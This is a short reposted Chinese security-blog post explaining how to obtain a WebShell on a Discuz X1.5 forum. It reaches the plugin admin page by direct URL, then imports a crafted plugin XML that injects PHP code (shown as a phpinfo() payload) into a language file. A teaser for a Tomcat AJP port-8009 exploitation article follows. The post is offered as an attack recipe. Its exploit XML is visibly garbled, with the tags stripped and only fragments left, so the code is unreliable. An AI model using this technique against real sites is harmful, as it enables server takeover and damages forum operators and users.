DZ-X1.5 论坛后台拿 WebShell

admin 2021年4月3日18:58:02评论43 views字数 908阅读3分1秒阅读模式

    先看下 shell.lang.php 的文件格式,X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问:/admin.php?frames=yes&action=plugins,添加插件。

    在插件,安装新插件,地址:dataplugindatashell.lang.php,必须要有 php 环境的配合。

EXP 保存为 .xml:

xml version="1.0" encoding="ISO-8859-1"?> 
 
         
         
         
        http://localhost/Discuz_7.2_SC_UTF8/upload/)]]> 
         
                 
                         
                         
                         
                         
                         
                         
                         
                         
                         
                         
               
 
                 
                 
                         
                                1);phpinfo();?>]]> 
                       
 
               
 
       
 

文章来源于lcx.cc:DZ-X1.5 论坛后台拿 WebShell

相关推荐: Tomcat的8009端口AJP的利用

Tomcat在安装的时候会有下面的界面,我们通常部署war,用的最多的是默认的8080端口。 可是当8080端口被防火墙封闭的时候,是否还有办法利用呢? 答案是可以的,可以通过AJP的8009端口,下面是step by step。 下面是实验环境: 192.1…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:58:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DZ-X1.5 论坛后台拿 WebShellhttp://cn-sec.com/archives/319411.html

发表评论

匿名网友 填写信息